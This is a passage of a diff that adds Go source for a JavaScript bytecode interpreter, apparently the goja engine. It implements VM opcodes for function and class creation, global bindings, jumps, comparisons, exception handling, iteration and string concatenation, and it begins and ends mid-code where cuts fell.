newMethod +} + +func (n *newAsyncMethod) exec(vm *vm) { + obj := vm.r.newAsyncMethod(n.name, n.length, n.strict) + n._exec(vm, &obj.methodFuncObject) +} + +type newGeneratorMethod struct { + newMethod +} + +func (n *newGeneratorMethod) exec(vm *vm) { + obj := vm.r.newGeneratorMethod(n.name, n.length, n.strict) + n._exec(vm, &obj.methodFuncObject) +} + +type newArrowFunc struct { + newFunc +} + +type newAsyncArrowFunc struct { + newArrowFunc +} + +func getFuncObject(v Value) *Object { + if o, ok := v.(*Object); ok { + if fn, ok := o.self.(*arrowFuncObject); ok { + return fn.funcObj + } + return o + } + if v == _undefined { + return nil + } + panic(typeError("Value is not an Object")) +} + +func getHomeObject(v Value) *Object { + if o, ok := v.(*Object); ok { + switch fn := o.self.(type) { + case *methodFuncObject: + return fn.homeObject + case *generatorMethodFuncObject: + return fn.homeObject + case *asyncMethodFuncObject: + return fn.homeObject + case *classFuncObject: + return o.runtime.toObject(fn.getStr("prototype", nil)) + case *arrowFuncObject: + return getHomeObject(fn.funcObj) + case *asyncArrowFuncObject: + return getHomeObject(fn.funcObj) + } + } + panic(newTypeError("Compiler bug: getHomeObject() on the wrong value: %T", v)) +} + +func (n *newArrowFunc) _exec(vm *vm, obj *arrowFuncObject) { + obj.prg = n.prg + obj.stash = vm.stash + obj.privEnv = vm.privEnv + obj.src = n.source + if vm.sb > 0 { + obj.funcObj = getFuncObject(vm.stack[vm.sb-1]) + } + vm.push(obj.val) + vm.pc++ +} + +func (n *newArrowFunc) exec(vm *vm) { + n._exec(vm, vm.r.newArrowFunc(n.name, n.length, n.strict)) +} + +func (n *newAsyncArrowFunc) exec(vm *vm) { + obj := vm.r.newAsyncArrowFunc(n.name, n.length, n.strict) + n._exec(vm, &obj.arrowFuncObject) +} + +func (vm *vm) alreadyDeclared(name unistring.String) Value { + return vm.r.newError(vm.r.getSyntaxError(), "Identifier '%s' has already been declared", name) +} + +func (vm *vm) checkBindVarsGlobal(names []unistring.String) { + o := vm.r.globalObject.self + sn := vm.r.global.stash.names + if bo, ok := o.(*baseObject); ok { + // shortcut + if bo.extensible { + for _, name := range names { + if _, exists := sn[name]; exists { + panic(vm.alreadyDeclared(name)) + } + } + } else { + for _, name := range names { + if !bo.hasOwnPropertyStr(name) { + panic(vm.r.NewTypeError("Cannot define global variable '%s', global object is not extensible", name)) + } + if _, exists := sn[name]; exists { + panic(vm.alreadyDeclared(name)) + } + } + } + } else { + for _, name := range names { + if !o.hasOwnPropertyStr(name) && !o.isExtensible() { + panic(vm.r.NewTypeError("Cannot define global variable '%s', global object is not extensible", name)) + } + if _, exists := sn[name]; exists { + panic(vm.alreadyDeclared(name)) + } + } + } +} + +func (vm *vm) createGlobalVarBindings(names []unistring.String, d bool) { + o := vm.r.globalObject.self + if bo, ok := o.(*templatedObject); ok { + for _, name := range names { + if !bo.hasOwnPropertyStr(name) && bo.extensible { + bo._putProp(name, _undefined, true, true, d) + } + } + } else { + var cf Flag + if d { + cf = FLAG_TRUE + } else { + cf = FLAG_FALSE + } + for _, name := range names { + if !o.hasOwnPropertyStr(name) && o.isExtensible() { + o.defineOwnPropertyStr(name, PropertyDescriptor{ + Value: _undefined, + Writable: FLAG_TRUE, + Enumerable: FLAG_TRUE, + Configurable: cf, + }, true) + o.setOwnStr(name, _undefined, false) + } + } + } +} + +func (vm *vm) createGlobalFuncBindings(names []unistring.String, d bool) { + o := vm.r.globalObject.self + b := vm.sp - len(names) + var shortcutObj *templatedObject + if o, ok := o.(*templatedObject); ok { + shortcutObj = o + } + for i, name := range names { + var desc PropertyDescriptor + prop := o.getOwnPropStr(name) + desc.Value = vm.stack[b+i] + if shortcutObj != nil && prop == nil && shortcutObj.extensible { + shortcutObj._putProp(name, desc.Value, true, true, d) + } else { + if prop, ok := prop.(*valueProperty); ok && !prop.configurable { + // no-op + } else { + desc.Writable = FLAG_TRUE + desc.Enumerable = FLAG_TRUE + if d { + desc.Configurable = FLAG_TRUE + } else { + desc.Configurable = FLAG_FALSE + } + } + if shortcutObj != nil { + shortcutObj.defineOwnPropertyStr(name, desc, true) + } else { + o.defineOwnPropertyStr(name, desc, true) + o.setOwnStr(name, desc.Value, false) // not a bug, see https://262.ecma-international.org/#sec-createglobalfunctionbinding + } + } + } + vm.sp = b +} + +func (vm *vm) checkBindFuncsGlobal(names []unistring.String) { + o := vm.r.globalObject.self + sn := vm.r.global.stash.names + for _, name := range names { + if _, exists := sn[name]; exists { + panic(vm.alreadyDeclared(name)) + } + prop := o.getOwnPropStr(name) + allowed := true + switch prop := prop.(type) { + case nil: + allowed = o.isExtensible() + case *valueProperty: + allowed = prop.configurable || prop.getterFunc == nil && prop.setterFunc == nil && prop.writable && prop.enumerable + } + if !allowed { + panic(vm.r.NewTypeError("Cannot redefine global function '%s'", name)) + } + } +} + +func (vm *vm) checkBindLexGlobal(names []unistring.String) { + o := vm.r.globalObject.self + s := &vm.r.global.stash + for _, name := range names { + if _, exists := s.names[name]; exists { + goto fail + } + if prop, ok := o.getOwnPropStr(name).(*valueProperty); ok && !prop.configurable { + goto fail + } + continue + fail: + panic(vm.alreadyDeclared(name)) + } +} + +type bindVars struct { + names []unistring.String + deletable bool +} + +func (d *bindVars) exec(vm *vm) { + var target *stash + for _, name := range d.names { + for s := vm.stash; s != nil; s = s.outer { + if idx, exists := s.names[name]; exists && idx&maskVar == 0 { + vm.throw(vm.alreadyDeclared(name)) + return + } + if s.isVariable() { + target = s + break + } + } + } + if target == nil { + target = vm.stash + } + deletable := d.deletable + for _, name := range d.names { + target.createBinding(name, deletable) + } + vm.pc++ +} + +type bindGlobal struct { + vars, funcs, lets, consts []unistring.String + + deletable bool +} + +func (b *bindGlobal) exec(vm *vm) { + vm.checkBindFuncsGlobal(b.funcs) + vm.checkBindLexGlobal(b.lets) + vm.checkBindLexGlobal(b.consts) + vm.checkBindVarsGlobal(b.vars) + + s := &vm.r.global.stash + for _, name := range b.lets { + s.createLexBinding(name, false) + } + for _, name := range b.consts { + s.createLexBinding(name, true) + } + vm.createGlobalFuncBindings(b.funcs, b.deletable) + vm.createGlobalVarBindings(b.vars, b.deletable) + vm.pc++ +} + +type jneP int32 + +func (j jneP) exec(vm *vm) { + vm.sp-- + if !vm.stack[vm.sp].ToBoolean() { + vm.pc += int(j) + } else { + vm.pc++ + } +} + +type jeqP int32 + +func (j jeqP) exec(vm *vm) { + vm.sp-- + if vm.stack[vm.sp].ToBoolean() { + vm.pc += int(j) + } else { + vm.pc++ + } +} + +type jeq int32 + +func (j jeq) exec(vm *vm) { + if vm.stack[vm.sp-1].ToBoolean() { + vm.pc += int(j) + } else { + vm.sp-- + vm.pc++ + } +} + +type jne int32 + +func (j jne) exec(vm *vm) { + if !vm.stack[vm.sp-1].ToBoolean() { + vm.pc += int(j) + } else { + vm.sp-- + vm.pc++ + } +} + +type jdef int32 + +func (j jdef) exec(vm *vm) { + if vm.stack[vm.sp-1] != _undefined { + vm.pc += int(j) + } else { + vm.sp-- + vm.pc++ + } +} + +type jdefP int32 + +func (j jdefP) exec(vm *vm) { + if vm.stack[vm.sp-1] != _undefined { + vm.pc += int(j) + } else { + vm.pc++ + } + vm.sp-- +} + +type jopt int32 + +func (j jopt) exec(vm *vm) { + switch vm.stack[vm.sp-1] { + case _null: + vm.stack[vm.sp-1] = _undefined + fallthrough + case _undefined: + vm.pc += int(j) + default: + vm.pc++ + } +} + +type joptc int32 + +func (j joptc) exec(vm *vm) { + switch vm.stack[vm.sp-1].(type) { + case valueNull, valueUndefined, memberUnresolved: + vm.sp-- + vm.stack[vm.sp-1] = _undefined + vm.pc += int(j) + default: + vm.pc++ + } +} + +type joptdel int32 + +func (j joptdel) exec(vm *vm) { + switch vm.stack[vm.sp-1].(type) { + case valueNull, valueUndefined: + vm.stack[vm.sp-1] = valueTrue + vm.pc += int(j) + default: + vm.pc++ + } +} + +type joptdelc int32 + +func (j joptdelc) exec(vm *vm) { + switch vm.stack[vm.sp-1].(type) { + case valueNull, valueUndefined, memberUnresolved: + vm.sp-- + vm.stack[vm.sp-1] = valueTrue + vm.pc += int(j) + default: + vm.pc++ + } +} + +type joptdelP int32 + +func (j joptdelP) exec(vm *vm) { + switch vm.stack[vm.sp-1].(type) { + case valueNull, valueUndefined: + vm.sp-- + vm.pc += int(j) + default: + vm.pc++ + } +} + +type joptdelcP int32 + +func (j joptdelcP) exec(vm *vm) { + switch vm.stack[vm.sp-1].(type) { + case valueNull, valueUndefined, memberUnresolved: + vm.sp -= 2 + vm.pc += int(j) + default: + vm.pc++ + } +} + +type jcoalesc int32 + +func (j jcoalesc) exec(vm *vm) { + switch vm.stack[vm.sp-1] { + case _undefined, _null: + vm.sp-- + vm.pc++ + default: + vm.pc += int(j) + } +} + +type jcoalescP int32 + +func (j jcoalescP) exec(vm *vm) { + vm.sp-- + switch vm.stack[vm.sp] { + case _undefined, _null: + vm.pc++ + default: + vm.pc += int(j) + } +} + +type _not struct{} + +var not _not + +func (_not) exec(vm *vm) { + if vm.stack[vm.sp-1].ToBoolean() { + vm.stack[vm.sp-1] = valueFalse + } else { + vm.stack[vm.sp-1] = valueTrue + } + vm.pc++ +} + +func toPrimitiveNumber(v Value) Value { + if o, ok := v.(*Object); ok { + return o.toPrimitiveNumber() + } + return v +} + +func toPrimitive(v Value) Value { + if o, ok := v.(*Object); ok { + return o.toPrimitive() + } + return v +} + +func cmp(px, py Value) Value { + var ret bool + xs, isPxString := px.(String) + ys, isPyString := py.(String) + + if isPxString && isPyString { + ret = xs.CompareTo(ys) < 0 + goto end + } else { + if px, ok := px.(*valueBigInt); ok && isPyString { + ny, err := stringToBigInt(ys.toTrimmedUTF8()) + if err != nil { + return _undefined + } + ret = (*big.Int)(px).Cmp(ny) < 0 + goto end + } + if py, ok := py.(*valueBigInt); ok && isPxString { + nx, err := stringToBigInt(xs.toTrimmedUTF8()) + if err != nil { + return _undefined + } + ret = nx.Cmp((*big.Int)(py)) < 0 + goto end + } + } + + px = toNumeric(px) + py = toNumeric(py) + + switch nx := px.(type) { + case valueInt: + switch ny := py.(type) { + case valueInt: + ret = nx < ny + goto end + case *valueBigInt: + ret = big.NewInt(int64(nx)).Cmp((*big.Int)(ny)) < 0 + goto end + } + case valueFloat: + switch ny := py.(type) { + case *valueBigInt: + switch { + case math.IsNaN(float64(nx)): + return _undefined + case nx == _negativeInf: + ret = true + goto end + } + if nx := big.NewFloat(float64(nx)); nx.IsInt() { + nx, _ := nx.Int(nil) + ret = nx.Cmp((*big.Int)(ny)) < 0 + } else { + ret = nx.Cmp(new(big.Float).SetInt((*big.Int)(ny))) < 0 + } + goto end + } + case *valueBigInt: + switch ny := py.(type) { + case valueInt: + ret = (*big.Int)(nx).Cmp(big.NewInt(int64(ny))) < 0 + goto end + case valueFloat: + switch { + case math.IsNaN(float64(ny)): + return _undefined + case ny == _positiveInf: + ret = true + goto end + } + if ny := big.NewFloat(float64(ny)); ny.IsInt() { + ny, _ := ny.Int(nil) + ret = (*big.Int)(nx).Cmp(ny) < 0 + } else { + ret = new(big.Float).SetInt((*big.Int)(nx)).Cmp(ny) < 0 + } + goto end + case *valueBigInt: + ret = (*big.Int)(nx).Cmp((*big.Int)(ny)) < 0 + goto end + } + } + + if nx, ny := px.ToFloat(), py.ToFloat(); math.IsNaN(nx) || math.IsNaN(ny) { + return _undefined + } else { + ret = nx < ny + } + +end: + if ret { + return valueTrue + } + return valueFalse + +} + +type _op_lt struct{} + +var op_lt _op_lt + +func (_op_lt) exec(vm *vm) { + left := toPrimitiveNumber(vm.stack[vm.sp-2]) + right := toPrimitiveNumber(vm.stack[vm.sp-1]) + + r := cmp(left, right) + if r == _undefined { + vm.stack[vm.sp-2] = valueFalse + } else { + vm.stack[vm.sp-2] = r + } + vm.sp-- + vm.pc++ +} + +type _op_lte struct{} + +var op_lte _op_lte + +func (_op_lte) exec(vm *vm) { + left := toPrimitiveNumber(vm.stack[vm.sp-2]) + right := toPrimitiveNumber(vm.stack[vm.sp-1]) + + r := cmp(right, left) + if r == _undefined || r == valueTrue { + vm.stack[vm.sp-2] = valueFalse + } else { + vm.stack[vm.sp-2] = valueTrue + } + + vm.sp-- + vm.pc++ +} + +type _op_gt struct{} + +var op_gt _op_gt + +func (_op_gt) exec(vm *vm) { + left := toPrimitiveNumber(vm.stack[vm.sp-2]) + right := toPrimitiveNumber(vm.stack[vm.sp-1]) + + r := cmp(right, left) + if r == _undefined { + vm.stack[vm.sp-2] = valueFalse + } else { + vm.stack[vm.sp-2] = r + } + vm.sp-- + vm.pc++ +} + +type _op_gte struct{} + +var op_gte _op_gte + +func (_op_gte) exec(vm *vm) { + left := toPrimitiveNumber(vm.stack[vm.sp-2]) + right := toPrimitiveNumber(vm.stack[vm.sp-1]) + + r := cmp(left, right) + if r == _undefined || r == valueTrue { + vm.stack[vm.sp-2] = valueFalse + } else { + vm.stack[vm.sp-2] = valueTrue + } + + vm.sp-- + vm.pc++ +} + +type _op_eq struct{} + +var op_eq _op_eq + +func (_op_eq) exec(vm *vm) { + if vm.stack[vm.sp-2].Equals(vm.stack[vm.sp-1]) { + vm.stack[vm.sp-2] = valueTrue + } else { + vm.stack[vm.sp-2] = valueFalse + } + vm.sp-- + vm.pc++ +} + +type _op_neq struct{} + +var op_neq _op_neq + +func (_op_neq) exec(vm *vm) { + if vm.stack[vm.sp-2].Equals(vm.stack[vm.sp-1]) { + vm.stack[vm.sp-2] = valueFalse + } else { + vm.stack[vm.sp-2] = valueTrue + } + vm.sp-- + vm.pc++ +} + +type _op_strict_eq struct{} + +var op_strict_eq _op_strict_eq + +func (_op_strict_eq) exec(vm *vm) { + if vm.stack[vm.sp-2].StrictEquals(vm.stack[vm.sp-1]) { + vm.stack[vm.sp-2] = valueTrue + } else { + vm.stack[vm.sp-2] = valueFalse + } + vm.sp-- + vm.pc++ +} + +type _op_strict_neq struct{} + +var op_strict_neq _op_strict_neq + +func (_op_strict_neq) exec(vm *vm) { + if vm.stack[vm.sp-2].StrictEquals(vm.stack[vm.sp-1]) { + vm.stack[vm.sp-2] = valueFalse + } else { + vm.stack[vm.sp-2] = valueTrue + } + vm.sp-- + vm.pc++ +} + +type _op_instanceof struct{} + +var op_instanceof _op_instanceof + +func (_op_instanceof) exec(vm *vm) { + left := vm.stack[vm.sp-2] + right := vm.r.toObject(vm.stack[vm.sp-1]) + + if instanceOfOperator(left, right) { + vm.stack[vm.sp-2] = valueTrue + } else { + vm.stack[vm.sp-2] = valueFalse + } + + vm.sp-- + vm.pc++ +} + +type _op_in struct{} + +var op_in _op_in + +func (_op_in) exec(vm *vm) { + left := vm.stack[vm.sp-2] + right := vm.r.toObject(vm.stack[vm.sp-1]) + + if right.hasProperty(left) { + vm.stack[vm.sp-2] = valueTrue + } else { + vm.stack[vm.sp-2] = valueFalse + } + + vm.sp-- + vm.pc++ +} + +type try struct { + catchOffset int32 + finallyOffset int32 +} + +func (t try) exec(vm *vm) { + var catchPos, finallyPos int32 + if t.catchOffset > 0 { + catchPos = int32(vm.pc) + t.catchOffset + } else { + catchPos = -1 + } + if t.finallyOffset > 0 { + finallyPos = int32(vm.pc) + t.finallyOffset + } else { + finallyPos = -1 + } + vm.pushTryFrame(catchPos, finallyPos) + vm.pc++ +} + +type leaveTry struct{} + +func (leaveTry) exec(vm *vm) { + tf := &vm.tryStack[len(vm.tryStack)-1] + if tf.finallyPos >= 0 { + tf.finallyRet = int32(vm.pc + 1) + vm.pc = int(tf.finallyPos) + tf.finallyPos = -1 + tf.catchPos = -1 + } else { + vm.popTryFrame() + vm.pc++ + } +} + +type enterFinally struct{} + +func (enterFinally) exec(vm *vm) { + tf := &vm.tryStack[len(vm.tryStack)-1] + tf.finallyPos = -1 + vm.pc++ +} + +type leaveFinally struct{} + +func (leaveFinally) exec(vm *vm) { + tf := &vm.tryStack[len(vm.tryStack)-1] + ex, ret := tf.exception, tf.finallyRet + tf.exception = nil + vm.popTryFrame() + if ex != nil { + vm.throw(ex) + return + } else { + if ret != -1 { + vm.pc = int(ret) + } else { + vm.pc++ + } + } +} + +type _throw struct{} + +var throw _throw + +func (_throw) exec(vm *vm) { + v := vm.stack[vm.sp-1] + ex := &Exception{ + val: v, + } + + if o, ok := v.(*Object); ok { + if e, ok := o.self.(*errorObject); ok { + if len(e.stack) > 0 { + ex.stack = e.stack + } + } + } + + if ex.stack == nil { + ex.stack = vm.captureStack(make([]StackFrame, 0, len(vm.callStack)+1), 0) + } + + if ex = vm.handleThrow(ex); ex != nil { + panic(ex) + } +} + +type _newVariadic struct{} + +var newVariadic _newVariadic + +func (_newVariadic) exec(vm *vm) { + _new(vm.countVariadicArgs() - 1).exec(vm) +} + +type _new uint32 + +func (n _new) exec(vm *vm) { + sp := vm.sp - int(n) + obj := vm.stack[sp-1] + ctor := vm.r.toConstructor(obj) + vm.stack[sp-1] = ctor(vm.stack[sp:vm.sp], nil) + vm.sp = sp + vm.pc++ +} + +type superCall uint32 + +func (s superCall) exec(vm *vm) { + l := len(vm.refStack) - 1 + thisRef := vm.refStack[l] + vm.refStack[l] = nil + vm.refStack = vm.refStack[:l] + + obj := vm.r.toObject(vm.stack[vm.sb-1]) + var cls *classFuncObject + switch fn := obj.self.(type) { + case *classFuncObject: + cls = fn + case *arrowFuncObject: + cls, _ = fn.funcObj.self.(*classFuncObject) + } + if cls == nil { + vm.throw(vm.r.NewTypeError("wrong callee type for super()")) + return + } + sp := vm.sp - int(s) + newTarget := vm.r.toObject(vm.newTarget) + v := cls.createInstance(vm.stack[sp:vm.sp], newTarget) + thisRef.set(v) + vm.sp = sp + cls._initFields(v) + vm.push(v) + vm.pc++ +} + +type _superCallVariadic struct{} + +var superCallVariadic _superCallVariadic + +func (_superCallVariadic) exec(vm *vm) { + superCall(vm.countVariadicArgs()).exec(vm) +} + +type _loadNewTarget struct{} + +var loadNewTarget _loadNewTarget + +func (_loadNewTarget) exec(vm *vm) { + if t := vm.newTarget; t != nil { + vm.push(t) + } else { + vm.push(_undefined) + } + vm.pc++ +} + +type _typeof struct{} + +var typeof _typeof + +func (_typeof) exec(vm *vm) { + var r Value + switch v := vm.stack[vm.sp-1].(type) { + case valueUndefined, valueUnresolved: + r = stringUndefined + case valueNull: + r = stringObjectC + case *Object: + r = v.self.typeOf() + case valueBool: + r = stringBoolean + case String: + r = stringString + case valueInt, valueFloat: + r = stringNumber + case *valueBigInt: + r = stringBigInt + case *Symbol: + r = stringSymbol + default: + panic(newTypeError("Compiler bug: unknown type: %T", v)) + } + vm.stack[vm.sp-1] = r + vm.pc++ +} + +type createArgsMapped uint32 + +func (formalArgs createArgsMapped) exec(vm *vm) { + v := &Object{runtime: vm.r} + args := &argumentsObject{} + args.extensible = true + args.prototype = vm.r.global.ObjectPrototype + args.class = "Arguments" + v.self = args + args.val = v + args.length = vm.args + args.init() + i := 0 + c := int(formalArgs) + if vm.args < c { + c = vm.args + } + for ; i < c; i++ { + args._put(unistring.String(strconv.Itoa(i)), &mappedProperty{ + valueProperty: valueProperty{ + writable: true, + configurable: true, + enumerable: true, + }, + v: &vm.stash.values[i], + }) + } + + for _, v := range vm.stash.extraArgs { + args._put(unistring.String(strconv.Itoa(i)), v) + i++ + } + + args._putProp("callee", vm.stack[vm.sb-1], true, false, true) + args._putSym(SymIterator, valueProp(vm.r.getArrayValues(), true, false, true)) + vm.push(v) + vm.pc++ +} + +type createArgsUnmapped uint32 + +func (formalArgs createArgsUnmapped) exec(vm *vm) { + args := vm.r.newBaseObject(vm.r.global.ObjectPrototype, "Arguments") + i := 0 + c := int(formalArgs) + if vm.args < c { + c = vm.args + } + for _, v := range vm.stash.values[:c] { + args._put(unistring.String(strconv.Itoa(i)), v) + i++ + } + + for _, v := range vm.stash.extraArgs { + args._put(unistring.String(strconv.Itoa(i)), v) + i++ + } + + args._putProp("length", intToValue(int64(vm.args)), true, false, true) + args._put("callee", vm.r.newThrowerProperty(false)) + args._putSym(SymIterator, valueProp(vm.r.getArrayValues(), true, false, true)) + vm.push(args.val) + vm.pc++ +} + +type _enterWith struct{} + +var enterWith _enterWith + +func (_enterWith) exec(vm *vm) { + vm.newStash() + vm.stash.obj = vm.stack[vm.sp-1].ToObject(vm.r) + vm.sp-- + vm.pc++ +} + +type _leaveWith struct{} + +var leaveWith _leaveWith + +func (_leaveWith) exec(vm *vm) { + vm.stash = vm.stash.outer + vm.pc++ +} + +func emptyIter() (propIterItem, iterNextFunc) { + return propIterItem{}, nil +} + +type _enumerate struct{} + +var enumerate _enumerate + +func (_enumerate) exec(vm *vm) { + v := vm.stack[vm.sp-1] + if v == _undefined || v == _null { + vm.iterStack = append(vm.iterStack, iterStackItem{f: emptyIter}) + } else { + vm.iterStack = append(vm.iterStack, iterStackItem{f: enumerateRecursive(v.ToObject(vm.r))}) + } + vm.sp-- + vm.pc++ +} + +type enumNext int32 + +func (jmp enumNext) exec(vm *vm) { + l := len(vm.iterStack) - 1 + item, n := vm.iterStack[l].f() + if n != nil { + vm.iterStack[l].val = item.name + vm.iterStack[l].f = n + vm.pc++ + } else { + vm.pc += int(jmp) + } +} + +type _enumGet struct{} + +var enumGet _enumGet + +func (_enumGet) exec(vm *vm) { + l := len(vm.iterStack) - 1 + vm.push(vm.iterStack[l].val) + vm.pc++ +} + +type _enumPop struct{} + +var enumPop _enumPop + +func (_enumPop) exec(vm *vm) { + l := len(vm.iterStack) - 1 + vm.iterStack[l] = iterStackItem{} + vm.iterStack = vm.iterStack[:l] + vm.pc++ +} + +type _enumPopClose struct{} + +var enumPopClose _enumPopClose + +func (_enumPopClose) exec(vm *vm) { + l := len(vm.iterStack) - 1 + item := vm.iterStack[l] + vm.iterStack[l] = iterStackItem{} + vm.iterStack = vm.iterStack[:l] + if iter := item.iter; iter != nil { + iter.returnIter() + } + vm.pc++ +} + +type _iterateP struct{} + +var iterateP _iterateP + +func (_iterateP) exec(vm *vm) { + iter := vm.r.getIterator(vm.stack[vm.sp-1], nil) + vm.iterStack = append(vm.iterStack, iterStackItem{iter: iter}) + vm.sp-- + vm.pc++ +} + +type _iterate struct{} + +var iterate _iterate + +func (_iterate) exec(vm *vm) { + iter := vm.r.getIterator(vm.stack[vm.sp-1], nil) + vm.iterStack = append(vm.iterStack, iterStackItem{iter: iter}) + vm.pc++ +} + +type iterNext int32 + +func (jmp iterNext) exec(vm *vm) { + l := len(vm.iterStack) - 1 + iter := vm.iterStack[l].iter + value, ex := iter.step() + if ex == nil { + if value == nil { + vm.pc += int(jmp) + } else { + vm.iterStack[l].val = value + vm.pc++ + } + } else { + l := len(vm.iterStack) - 1 + vm.iterStack[l] = iterStackItem{} + vm.iterStack = vm.iterStack[:l] + vm.throw(ex.val) + return + } +} + +type iterGetNextOrUndef struct{} + +func (iterGetNextOrUndef) exec(vm *vm) { + l := len(vm.iterStack) - 1 + iter := vm.iterStack[l].iter + var value Value + if iter.iterator != nil { + var ex *Exception + value, ex = iter.step() + if ex != nil { + l := len(vm.iterStack) - 1 + vm.iterStack[l] = iterStackItem{} + vm.iterStack = vm.iterStack[:l] + vm.throw(ex.val) + return + } + } + vm.push(nilSafe(value)) + vm.pc++ +} + +type copyStash struct{} + +func (copyStash) exec(vm *vm) { + oldStash := vm.stash + newStash := &stash{ + outer: oldStash.outer, + } + vm.stashAllocs++ + newStash.values = append([]Value(nil), oldStash.values...) + newStash.names = oldStash.names + vm.stash = newStash + vm.pc++ +} + +type _throwAssignToConst struct{} + +var throwAssignToConst _throwAssignToConst + +func (_throwAssignToConst) exec(vm *vm) { + vm.throw(errAssignToConst) +} + +func (r *Runtime) copyDataProperties(target, source Value) { + targetObj := r.toObject(target) + if source == _null || source == _undefined { + return + } + sourceObj := source.ToObject(r) + for item, next := iterateEnumerableProperties(sourceObj)(); next != nil; item, next = next() { + createDataPropertyOrThrow(targetObj, item.name, item.value) + } +} + +type _copySpread struct{} + +var copySpread _copySpread + +func (_copySpread) exec(vm *vm) { + vm.r.copyDataProperties(vm.stack[vm.sp-2], vm.stack[vm.sp-1]) + vm.sp-- + vm.pc++ +} + +type _copyRest struct{} + +var copyRest _copyRest + +func (_copyRest) exec(vm *vm) { + vm.push(vm.r.NewObject()) + vm.r.copyDataProperties(vm.stack[vm.sp-1], vm.stack[vm.sp-2]) + vm.pc++ +} + +type _createDestructSrc struct{} + +var createDestructSrc _createDestructSrc + +func (_createDestructSrc) exec(vm *vm) { + v := vm.stack[vm.sp-1] + vm.r.checkObjectCoercible(v) + vm.push(vm.r.newDestructKeyedSource(v)) + vm.pc++ +} + +type _checkObjectCoercible struct{} + +var checkObjectCoercible _checkObjectCoercible + +func (_checkObjectCoercible) exec(vm *vm) { + vm.r.checkObjectCoercible(vm.stack[vm.sp-1]) + vm.pc++ +} + +type createArgsRestStack int + +func (n createArgsRestStack) exec(vm *vm) { + var values []Value + delta := vm.args - int(n) + if delta > 0 { + values = make([]Value, delta) + copy(values, vm.stack[vm.sb+int(n)+1:]) + } + vm.push(vm.r.newArrayValues(values)) + vm.pc++ +} + +type _createArgsRestStash struct{} + +var createArgsRestStash _createArgsRestStash + +func (_createArgsRestStash) exec(vm *vm) { + vm.push(vm.r.newArrayValues(vm.stash.extraArgs)) + vm.stash.extraArgs = nil + vm.pc++ +} + +type concatStrings int + +func (n concatStrings) exec(vm *vm) { + strs := vm.stack[vm.sp-int(n) : vm.sp] + length := 0 + allAscii := true + for i, s := range strs { + switch s := s.(type) { + case asciiString: + length += s.Length() + case unicodeString: + length += s.Length() + allAscii = false + case *importedString: + s.ensureScanned() + if s.u != nil { + strs[i] = s.u + length += s.u.Length() + allAscii = false + } else { + strs[i] = asciiString(s.s) + length += len(s.s) + } + default: + panic(unknownStringTypeErr(s)) + } + } + + vm.sp -= int(n) - 1 + if allAscii { + var buf strings.Builder + buf.Grow(length) + for _, s := range strs { + buf.WriteString(string(s.(asciiString))) + } + vm.stack[vm.sp-1] = asciiString(buf.String()) + } else { + var buf unicodeStringBuilder + buf.Grow(length) + for _, s := range strs { + buf.writeString(s.(String)) + } + vm.stack[vm.sp-1] = buf.String() + } + vm.pc++ +} + +type getTaggedTmplObject struct { + raw, cooked []Value +} + +// As tagged template objects are not cached (because it's hard to ensure the cache is cleaned without using +// finalizers) this wrapper is needed to override the equality method so that two objects for the same template +// literal appeared to be equal from the code's point of view. +type taggedTemplateArray struct { + *arrayObject + idPtr *[]Value +} + +func (a *taggedTemplateArray) equal(other objectImpl) bool { + if o, ok := other.(*taggedTemplateArray); ok { + return a.idPtr == o.idPtr + } + return false +} + +func (c *getTaggedTmplObject) exec(vm *vm) { + cooked := vm.r.newArrayObject() + setArrayValues(cooked, c.cooked) + raw := vm.r.newArrayObject() + setArrayValues(raw, c.raw) + + cooked.propValueCount = len(c.cooked) + cooked.lengthProp.writable = false + + raw.propValueCount = len(c.raw) + raw.lengthProp.writable = false + + raw.preventExtensions(true) + raw.val.self = &taggedTemplateArray{ + arrayObject: raw, + idPtr: &c.raw, + } + + cooked._putProp("raw", raw.val, false, false, false) + cooked.preventExtensions(true) + cooked.val.self = &taggedTemplateArray{ + arrayObject: cooked, + idPtr: &c.cooked, + } + + vm.push(cooked.val) + vm.pc++ +} + +type _loadSuper struct{} + +var loadSuper _loadSuper + +func (_loadSuper) exec(vm *vm) { + homeObject := getHomeObject(vm.stack[vm.sb-1]) + if proto := homeObject.Prototype(); proto != nil { + vm.push(proto) + } else { + vm.push(_undefined) + } + vm.pc++ +} + +type newClass struct { + ctor *Program + name unistring.String + source string + initFields *Program + + privateFields, privateMethods []unistring.String // only set when dynamic resolution is needed + numPrivateFields, numPrivateMethods uint32 + + length int + hasPrivateEnv bool +} + +type newDerivedClass struct { + newClass +} + +func (vm *vm) createPrivateType(f *classFuncObject, numFields, numMethods uint32) { + typ := &privateEnvType{} + typ.numFields = numFields + typ.numMethods = numMethods + f.privateEnvType = typ + f.privateMethods = make([]Value, numMethods) +} + +func (vm *vm) fillPrivateNamesMap(typ *privateEnvType, privateFields, privateMethods []unistring.String) { + if len(privateFields) > 0 || len(privateMethods) > 0 { + penv := vm.privEnv.names + if penv == nil { + penv = make(privateNames) + vm.privEnv.names = penv + } + for idx, field := range privateFields { + penv[field] = &privateId{ + typ: typ, + idx: uint32(idx), + } + } + for idx, method := range privateMethods { + penv[method] = &privateId{ + typ: typ, + idx: uint32(idx), + isMethod: true, + } + } + } +} + +func (c *newClass) create(protoParent, ctorParent *Object, vm *vm, derived bool) (prototype, cls *Object) { + proto := vm.r.newBaseObject(protoParent, classObject) + f := vm.r.newClassFunc(c.name, c.length, ctorParent, derived) + f._putProp("prototype", proto.val, false, false, false) + proto._putProp("constructor", f.val, true, false, true) + f.prg = c.ctor + f.stash = vm.stash + f.src = c.source + f.initFields = c.initFields + if c.hasPrivateEnv { + vm.privEnv = &privateEnv{ + outer: vm.privEnv, + } + vm.createPrivateType(f, c.numPrivateFields, c.numPrivateMethods) + vm.fillPrivateNamesMap(f.privateEnvType, c.privateFields, c.privateMethods) + vm.privEnv.instanceType = f.privateEnvType + } + f.privEnv = vm.privEnv + return proto.val, f.val +} + +func (c *newClass) exec(vm *vm) { + proto, cls := c.create(vm.r.global.ObjectPrototype, vm.r.getFunctionPrototype(), vm, false) + sp := vm.sp + vm.stack.expand(sp + 1) + vm.stack[sp] = proto + vm.stack[sp+1] = cls + vm.sp = sp + 2 + vm.pc++ +} + +func (c *newDerivedClass) exec(vm *vm) { + var protoParent *Object + var superClass *Object + if o := vm.stack[vm.sp-1]; o != _null { + if sc, ok := o.(*Object); !ok || sc.self.assertConstructor() == nil { + vm.throw(vm.r.NewTypeError("Class extends value is not a constructor or null")) + return + } else { + v := sc.self.getStr("prototype", nil) + if v != _null { + if o, ok := v.(*Object); ok { + protoParent = o + } else { + 